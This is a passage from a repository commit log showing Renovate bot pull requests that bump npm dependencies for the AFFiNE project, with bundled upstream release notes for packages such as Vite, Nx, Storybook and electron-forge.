- Portable stories: Support multiple annotation notations from preview - [#​29733](https://redirect.github.com/storybookjs/storybook/pull/29733), thanks [@​yannbf](https://redirect.github.com/yannbf)!
- React: Upgrade react-docgen-typescript to support Vite 6 - [#​29724](https://redirect.github.com/storybookjs/storybook/pull/29724), thanks [@​yannbf](https://redirect.github.com/yannbf)!
- Svelte: Support `@sveltejs/vite-plugin-svelte` v5 - [#​29731](https://redirect.github.com/storybookjs/storybook/pull/29731), thanks [@​JReinhold](https://redirect.github.com/JReinhold)!
</details>
<details>
<summary>vitest-dev/vitest (@​vitest/coverage-istanbul)</summary>
### [`v2.1.8`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.8)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8)
##### 🐞 Bug Fixes
- Support Node 21 - by [@​sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad)
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8)
### [`v2.1.7`](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7)
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7)
</details>
<details>
<summary>motdotla/dotenv (dotenv)</summary>
### [`v16.4.6`](https://redirect.github.com/motdotla/dotenv/blob/HEAD/CHANGELOG.md#1646-2024-12-02)
[Compare Source](https://redirect.github.com/motdotla/dotenv/compare/v16.4.5...v16.4.6)
##### Changed
- Clean up stale dev dependencies [#​847](https://redirect.github.com/motdotla/dotenv/pull/847)
- Various README updates clarifying usage and alternative solutions using [dotenvx](https://redirect.github.com/dotenvx/dotenvx)
</details>
<details>
<summary>Urigo/graphql-scalars (graphql-scalars)</summary>
### [`v1.24.0`](https://redirect.github.com/Urigo/graphql-scalars/blob/HEAD/CHANGELOG.md#1240)
[Compare Source](https://redirect.github.com/Urigo/graphql-scalars/compare/v1.23.0...v1.24.0)
##### Minor Changes
- [`e5a3910`](e5a39101db)
Thanks [@​ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu)! - add GeoJSON scalar
- [`e5a3910`](e5a39101db)
Thanks [@​ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu)! - Add \`CountryName\` scalar
</details>
<details>
<summary>html-validate/html-validate (html-validate)</summary>
### [`v8.27.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#8270-2024-11-30)
[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.26.0...v8.27.0)
##### Features
- **api:** deprecate `Config.init()` ([d4b5987](d4b5987a92))
- **config:** lazy load transformers ([d82bc57](d82bc57d3d)), closes [#​194](https://gitlab.com/html-validate/html-validate/issues/194)
</details>
<details>
<summary>markedjs/marked (marked)</summary>
### [`v15.0.3`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.3)
[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.2...v15.0.3)
##### Bug Fixes
- update punctuation regex syntax to fix babel mistaken transpile ([#​3547](https://redirect.github.com/markedjs/marked/issues/3547)) ([9b988c4](9b988c47bd))
</details>
<details>
<summary>napi-rs/napi-rs (napi)</summary>
### [`v3.0.0-alpha.21`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.21)
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21)
#### What's Changed
- feat(napi): allow us to create nest function from closure by [@​richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2360](https://redirect.github.com/napi-rs/napi-rs/pull/2360)
- feat(napi): implement `ValidateNapiValue` for HashMap with any hasher by [@​sapphi-red](https://redirect.github.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2374](https://redirect.github.com/napi-rs/napi-rs/pull/2374)
- feat(napi): implement `ValidateNapiValue` for HashSet with any hasher by [@​sapphi-red](https://redirect.github.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2377](https://redirect.github.com/napi-rs/napi-rs/pull/2377)
**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21
</details>
<details>
<summary>nrwl/nx (nx)</summary>
### [`v20.1.4`](https://redirect.github.com/nrwl/nx/releases/tag/20.1.4)
[Compare Source](https://redirect.github.com/nrwl/nx/compare/20.1.3...20.1.4)
#### 20.1.4 (2024-11-28)
##### 🚀 Features
- **misc:** replace tutorials with social links in create-nx-workspace ([#​29085](https://redirect.github.com/nrwl/nx/pull/29085))
- **nx-dev:** update top-level navbar ([0f330590b7](https://redirect.github.com/nrwl/nx/commit/0f330590b7))
##### 🩹 Fixes
- **angular:** ngrx-root-store generator check ngModule path ([#​29068](https://redirect.github.com/nrwl/nx/pull/29068))
- **core:** don't generate nxCloudId if running nx connect through nx console ([#​29060](https://redirect.github.com/nrwl/nx/pull/29060))
- **core:** update to the async version of getting powerpack information ([#​29088](https://redirect.github.com/nrwl/nx/pull/29088))
- **misc:** update artifact generator option descriptions and cleanup leftovers ([#​29077](https://redirect.github.com/nrwl/nx/pull/29077))
- **module-federation:** use 'hoisted' runtime for node to prevent issues with eager sharing ([#​29104](https://redirect.github.com/nrwl/nx/pull/29104))
- **nest:** Fix generators (guard, interceptor etc...) path to not duplicate when provided ([#​29084](https://redirect.github.com/nrwl/nx/pull/29084))
- **nest:** update project config to enable artifacts to be built as dev ([#​29110](https://redirect.github.com/nrwl/nx/pull/29110))
- **nextjs:** ensure next apps config is correctly checked when using jest ([#​29066](https://redirect.github.com/nrwl/nx/pull/29066))
- **nextjs:** Add support for next.config.ts for executors ([#​29071](https://redirect.github.com/nrwl/nx/pull/29071))
##### ❤️ Thank You
- Colum Ferry [@​Coly010](https://redirect.github.com/Coly010)
- Jason Jean [@​FrozenPandaz](https://redirect.github.com/FrozenPandaz)
- Juri [@​juristr](https://redirect.github.com/juristr)
- Leosvel Pérez Espinosa [@​leosvelperez](https://redirect.github.com/leosvelperez)
- MaxKless [@​MaxKless](https://redirect.github.com/MaxKless)
- Nicholas Cunningham [@​ndcunningham](https://redirect.github.com/ndcunningham)
</details>
<details>
<summary>openai/openai-node (openai)</summary>
### [`v4.74.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4740-2024-12-02)
[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0)
Full Changelog: [v4.73.1...v4.74.0](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0)
##### Features
- **internal:** make git install file structure match npm ([#​1204](https://redirect.github.com/openai/openai-node/issues/1204)) ([e7c4c6d](e7c4c6d23a))
</details>
<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>
### [`v9.4.1`](https://redirect.github.com/gpbl/react-day-picker/releases/tag/v9.4.1)
[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1)
This release improves support for screen readers and fixes a VoiceOver issue when navigating the calendar.
#### What's Changed
- fix(a11y): improve screen reader and VoiceOver support by [@​gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2609](https://redirect.github.com/gpbl/react-day-picker/pull/2609)
- feat(a11y): added `role` and `aria-label` props by [@​gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2609](https://redirect.github.com/gpbl/react-day-picker/pull/2609)
- chore(style): remove unused CSS variable by [@​gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2610](https://redirect.github.com/gpbl/react-day-picker/pull/2610)
- chore: use callbacks for dropdown event handlers by [@​gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2602](https://redirect.github.com/gpbl/react-day-picker/pull/2602)
**Full Changelog**: https://github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1
</details>
<details>
<summary>i18next/react-i18next (react-i18next)</summary>
### [`v15.1.3`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1513)
[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.2...v15.1.3)
- fix: Self-closing REACT components in translation strings should not attempt to replace the component's children [1815](https://redirect.github.com/i18next/react-i18next/issues/1815) [1816](https://redirect.github.com/i18next/react-i18next/pull/1816)
</details>
<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>
### [`v4.12.3`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/v4.12.3)
[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.2...v4.12.3)
##### Bug Fixes
- **gridSystem.ts:** call onEndReached when the data is less than cont… ([#​1166](https://redirect.github.com/petyosi/react-virtuoso/issues/1166)) ([7a80ea2](7a80ea20b1))
</details>
<details>
<summary>tinylibs/tinybench (tinybench)</summary>
### [`v3.0.7`](https://redirect.github.com/tinylibs/tinybench/releases/tag/v3.0.7)
[Compare Source](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7)
##### 🐞 Bug Fixes
- Do not allow task override by name - by [@​jerome-benoit](https://redirect.github.com/jerome-benoit) in [https://github.com/tinylibs/tinybench/issues/197](https://redirect.github.com/tinylibs/tinybench/issues/197) [<samp>(b40fe)</samp>](https://redirect.github.com/tinylibs/tinybench/commit/b40fedb)
##### [View changes on GitHub](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7)
</details>
<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>
### [`v0.27.2`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0272-2024-11-29)
[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.1...v0.27.2)
##### Bug Fixes
- Fix crash with TypeScript 5.5.x, [#​2789](https://redirect.github.com/TypeStrong/TypeDoc/issues/2789).
</details>
<details>
<summary>vitejs/vite (vite)</summary>
### [`v6.0.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small602-2024-12-02-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.1...v6.0.2)
- chore: run typecheck in unit tests ([#​18858](https://redirect.github.com/vitejs/vite/issues/18858)) ([49f20bb](49f20bb777)), closes [#​18858](https://redirect.github.com/vitejs/vite/issues/18858)
- chore: update broken links in changelog ([#​18802](https://redirect.github.com/vitejs/vite/issues/18802)) ([cb754f8](cb754f8acc)), closes [#​18802](https://redirect.github.com/vitejs/vite/issues/18802)
- chore: update broken links in changelog ([#​18804](https://redirect.github.com/vitejs/vite/issues/18804)) ([47ec49f](47ec49ffa1)), closes [#​18804](https://redirect.github.com/vitejs/vite/issues/18804)
- fix: don't store temporary vite config file in `node_modules` if deno ([#​18823](https://redirect.github.com/vitejs/vite/issues/18823)) ([a20267b](a20267bb93)), closes [#​18823](https://redirect.github.com/vitejs/vite/issues/18823)
- fix(css): referencing aliased svg asset with lightningcss enabled errored ([#​18819](https://redirect.github.com/vitejs/vite/issues/18819)) ([ae68958](ae68958691)), closes [#​18819](https://redirect.github.com/vitejs/vite/issues/18819)
- fix(manifest): use `style.css` as a key for the style file for `cssCodesplit: false` ([#​18820](https://redirect.github.com/vitejs/vite/issues/18820)) ([ec51115](ec51115255)), closes [#​18820](https://redirect.github.com/vitejs/vite/issues/18820)
- fix(optimizer): resolve all promises when cancelled ([#​18826](https://redirect.github.com/vitejs/vite/issues/18826)) ([d6e6194](d6e6194706)), closes [#​18826](https://redirect.github.com/vitejs/vite/issues/18826)
- fix(resolve): don't set builtinModules to `external` by default ([#​18821](https://redirect.github.com/vitejs/vite/issues/18821)) ([2250ffa](2250ffac62)), closes [#​18821](https://redirect.github.com/vitejs/vite/issues/18821)
- fix(ssr): set `ssr.target: 'webworker'` defaults as fallback ([#​18827](https://redirect.github.com/vitejs/vite/issues/18827)) ([b39e696](b39e69638b)), closes [#​18827](https://redirect.github.com/vitejs/vite/issues/18827)
- feat(css): format lightningcss error ([#​18818](https://redirect.github.com/vitejs/vite/issues/18818)) ([dac7992](dac7992e87)), closes [#​18818](https://redirect.github.com/vitejs/vite/issues/18818)
- refactor: make properties of ResolvedServerOptions and ResolvedPreviewOptions required ([#​18796](https://redirect.github.com/vitejs/vite/issues/18796)) ([51a5569](51a5569e66)), closes [#​18796](https://redirect.github.com/vitejs/vite/issues/18796)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
|
2024-12-03 06:31:13 +00:00 |
|
renovate
|
313952c45d
|
chore: bump up all non-major dependencies (#6235)
[](https://renovatebot.com)
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://togithub.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://togithub.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.537.0` -> `3.552.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.537.0/3.552.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@electron-forge/maker-base](https://togithub.com/electron/forge) | [`7.3.0` -> `7.3.1`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-base/7.3.0/7.3.1) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@napi-rs/cli](https://togithub.com/napi-rs/napi-rs) | [`3.0.0-alpha.43` -> `3.0.0-alpha.46`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.43/3.0.0-alpha.46) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@nx/vite](https://nx.dev) ([source](https://togithub.com/nrwl/nx/tree/HEAD/packages/vite)) | [`18.1.2` -> `18.2.4`](https://renovatebot.com/diffs/npm/@nx%2fvite/18.1.2/18.2.4) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://togithub.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://togithub.com/open-telemetry/opentelemetry-js)) | [`^0.49.0` -> `^0.50.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.49.1/0.50.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://togithub.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://togithub.com/open-telemetry/opentelemetry-js)) | [`^0.49.0` -> `^0.50.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.49.1/0.50.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-graphql](https://togithub.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://togithub.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.38.0` -> `^0.39.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.38.0/0.39.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://togithub.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://togithub.com/open-telemetry/opentelemetry-js)) | [`^0.49.0` -> `^0.50.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.49.1/0.50.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-ioredis](https://togithub.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://togithub.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.38.0` -> `^0.39.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.38.0/0.39.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-nestjs-core](https://togithub.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://togithub.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.35.0` -> `^0.36.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.35.0/0.36.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-socket.io](https://togithub.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://togithub.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.37.0` -> `^0.38.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.37.0/0.38.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://togithub.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://togithub.com/open-telemetry/opentelemetry-js)) | [`^0.49.0` -> `^0.50.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.49.1/0.50.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [eslint-plugin-import-x](https://togithub.com/un-ts/eslint-plugin-import-x) | [`^0.4.1` -> `^0.5.0`](https://renovatebot.com/diffs/npm/eslint-plugin-import-x/0.4.4/0.5.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [eslint-plugin-sonarjs](https://togithub.com/SonarSource/eslint-plugin-sonarjs) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/eslint-plugin-sonarjs/0.24.0/0.25.1) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
| [vite-plugin-dts](https://togithub.com/qmhc/vite-plugin-dts) | [`3.7.3` -> `3.8.1`](https://renovatebot.com/diffs/npm/vite-plugin-dts/3.7.3/3.8.1) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) |
---
### Release Notes
<details>
<summary>aws/aws-sdk-js-v3 (@​aws-sdk/client-s3)</summary>
### [`v3.552.0`](https://togithub.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#35520-2024-04-09)
[Compare Source](https://togithub.com/aws/aws-sdk-js-v3/compare/v3.550.0...v3.552.0)
**Note:** Version bump only for package [@​aws-sdk/client-s3](https://togithub.com/aws-sdk/client-s3)
### [`v3.550.0`](https://togithub.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#35500-2024-04-05)
[Compare Source](https://togithub.com/aws/aws-sdk-js-v3/compare/v3.549.0...v3.550.0)
**Note:** Version bump only for package [@​aws-sdk/client-s3](https://togithub.com/aws-sdk/client-s3)
### [`v3.549.0`](https://togithub.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#35490-2024-04-04)
[Compare Source](https://togithub.com/aws/aws-sdk-js-v3/compare/v3.540.0...v3.549.0)
**Note:** Version bump only for package [@​aws-sdk/client-s3](https://togithub.com/aws-sdk/client-s3)
### [`v3.540.0`](https://togithub.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#35400-2024-03-22)
[Compare Source](https://togithub.com/aws/aws-sdk-js-v3/compare/v3.537.0...v3.540.0)
##### Bug Fixes
- **util-endpoints:** augment endpointFunctions inline in endpointResolver functions ([#​5933](https://togithub.com/aws/aws-sdk-js-v3/issues/5933)) ([42a791d](42a791defb))
</details>
<details>
<summary>electron/forge (@​electron-forge/maker-base)</summary>
### [`v7.3.1`](https://togithub.com/electron/forge/releases/tag/v7.3.1)
[Compare Source](https://togithub.com/electron/forge/compare/v7.3.0...v7.3.1)
##### What's Changed
##### Highlighted Feature:
- build: Bump [@​electron/windows-sign](https://togithub.com/electron/windows-sign) deps by [@​felixrieseberg](https://togithub.com/felixrieseberg) in [https://github.com/electron/forge/pull/3524](https://togithub.com/electron/forge/pull/3524)
This change enables advanced code signing with \[[@​electron/windows-sign](https://togithub.com/electron/windows-sign)]\[[@​electron/windows-sign](https://togithub.com/electron/windows-sign)], supporting two different ways to codesign your application and the installer:
1. Modern: By passing a `windowsSign` option, which will be passed to \[[@​electron/windows-sign](https://togithub.com/electron/windows-sign)]. This method allows full customization of the code-signing process - and supports more complicated scenarios like cloud-hosted EV certificates, custom sign pipelines, and per-file overrides. It also supports all existing "simple" codesigning scenarios, including just passing a certificate file and password. Please see https://github.com/[@​electron/windows-sign](https://togithub.com/electron/windows-sign) for all possible configuration options.
When passing `windowsSign`, do not pass any other available parameters at the top level (like `certificateFile`, `certificatePassword`, or `signWithParams`).
2. Legacy: By passing the top-level settings (`certificateFile`, `certificatePassword`, and `signWithParams`). For simple codesigning scenarios, there's no reason not to use this method - it'll work just as fine as the modern method.
##### Bug Fixes and Improvements
- fix(publisher-github): don't sanitize asset names before upload by [@​dsanders11](https://togithub.com/dsanders11) in [https://github.com/electron/forge/pull/3485](https://togithub.com/electron/forge/pull/3485)
- build: bump memory limit for docs:generate script by [@​dsanders11](https://togithub.com/dsanders11) in [https://github.com/electron/forge/pull/3500](https://togithub.com/electron/forge/pull/3500)
- build: fix keyv type resolution warning during dev by [@​MarshallOfSound](https://togithub.com/MarshallOfSound) in [https://github.com/electron/forge/pull/3507](https://togithub.com/electron/forge/pull/3507)
- build(deps): bump actions/setup-node from 4.0.1 to 4.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/electron/forge/pull/3522](https://togithub.com/electron/forge/pull/3522)
- build(deps): bump follow-redirects from 1.15.4 to 1.15.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/electron/forge/pull/3537](https://togithub.com/electron/forge/pull/3537)
- ci(windows): pin version of wix toolset to v3.14.0 by [@​erickzhao](https://togithub.com/erickzhao) in [https://github.com/electron/forge/pull/3525](https://togithub.com/electron/forge/pull/3525)
- docs: update forge create-electron-app template to match tutorial by [@​alicelovescake](https://togithub.com/alicelovescake) in [https://github.com/electron/forge/pull/3528](https://togithub.com/electron/forge/pull/3528)
##### New Contributors
- [@​alicelovescake](https://togithub.com/alicelovescake) made their first contribution in [https://github.com/electron/forge/pull/3528](https://togithub.com/electron/forge/pull/3528)
**Full Changelog**: https://github.com/electron/forge/compare/v7.3.0...v7.3.1
</details>
<details>
<summary>napi-rs/napi-rs (@​napi-rs/cli)</summary>
### [`v3.0.0-alpha.46`](https://togithub.com/napi-rs/napi-rs/releases/tag/%40napi-rs/cli%403.0.0-alpha.46)
[Compare Source](https://togithub.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.45...@napi-rs/cli@3.0.0-alpha.46)
#### What's Changed
- fix(deps): update dependency emnapi to v1.1.1 by [@​renovate](https://togithub.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2017](https://togithub.com/napi-rs/napi-rs/pull/2017)
- feat(cli): add support for armv7-unknown-linux-muslebihf by [@​sapphi-red](https://togithub.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2019](https://togithub.com/napi-rs/napi-rs/pull/2019)
- feat(cli): add support for powerpc64le-unknown-linux-gnu by [@​sapphi-red](https://togithub.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2023](https://togithub.com/napi-rs/napi-rs/pull/2023)
- feat(cli): add support for s390x-unknown-linux-gnu by [@​sapphi-red](https://togithub.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2028](https://togithub.com/napi-rs/napi-rs/pull/2028)
- feat(cli): support wasm32-wasipxx targets by [@​Brooooooklyn](https://togithub.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2030](https://togithub.com/napi-rs/napi-rs/pull/2030)
**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/[@​napi-rs/cli](https://togithub.com/napi-rs/cli)[@​3](https://togithub.com/3).0.0-alpha.45...[@​napi-rs/cli](https://togithub.com/napi-rs/cli)[@​3](https://togithub.com/3).0.0-alpha.46
### [`v3.0.0-alpha.45`](https://togithub.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.44...@napi-rs/cli@3.0.0-alpha.45)
[Compare Source](https://togithub.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.44...@napi-rs/cli@3.0.0-alpha.45)
### [`v3.0.0-alpha.44`](https://togithub.com/napi-rs/napi-rs/releases/tag/%40napi-rs/cli%403.0.0-alpha.44)
[Compare Source](https://togithub.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.43...@napi-rs/cli@3.0.0-alpha.44)
#### What's Changed
- fix(cli): cleanup js binding template by [@​Brooooooklyn](https://togithub.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/1984](https://togithub.com/napi-rs/napi-rs/pull/1984)
- chore(deps): lock file maintenance by [@​renovate](https://togithub.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/1987](https://togithub.com/napi-rs/napi-rs/pull/1987)
- chore(deps): update yarn to v4.1.1 by [@​renovate](https://togithub.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/1989](https://togithub.com/napi-rs/napi-rs/pull/1989)
- ci: fix arm64 job by [@​Brooooooklyn](https://togithub.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/1998](https://togithub.com/napi-rs/napi-rs/pull/1998)
- chore(deps): bump follow-redirects from 1.15.5 to 1.15.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/napi-rs/napi-rs/pull/2004](https://togithub.com/napi-rs/napi-rs/pull/2004)
- fix(deps): update dependency emnapi to v1.1.0 by [@​renovate](https://togithub.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2006](https://togithub.com/napi-rs/napi-rs/pull/2006)
- chore(wasm-runtime): upgrade emnapi by [@​Brooooooklyn](https://togithub.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2008](https://togithub.com/napi-rs/napi-rs/pull/2008)
**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@2.16.0...[@​napi-rs/cli](https://togithub.com/napi-rs/cli)[@​3](https://togithub.com/3).0.0-alpha.44
</details>
<details>
<summary>nrwl/nx (@​nx/vite)</summary>
### [`v18.2.4`](https://togithub.com/nrwl/nx/releases/tag/18.2.4)
[Compare Source](https://togithub.com/nrwl/nx/compare/18.2.3...18.2.4)
##### 18.2.4 (2024-04-09)
##### 🩹 Fixes
- **angular:** fix dynamic module federation generation ([#​22724](https://togithub.com/nrwl/nx/pull/22724))
- **core:** update pty version to add windows specific flags ([#​22711](https://togithub.com/nrwl/nx/pull/22711))
- **nextjs:** Adding tailwind should work when creating an app OOTB ([#​22709](https://togithub.com/nrwl/nx/pull/22709))
##### ❤️ Thank You
- Craigory Coppola [@​AgentEnder](https://togithub.com/AgentEnder)
- Leosvel Pérez Espinosa [@​leosvelperez](https://togithub.com/leosvelperez)
- Nicholas Cunningham [@​ndcunningham](https://togithub.com/ndcunningham)
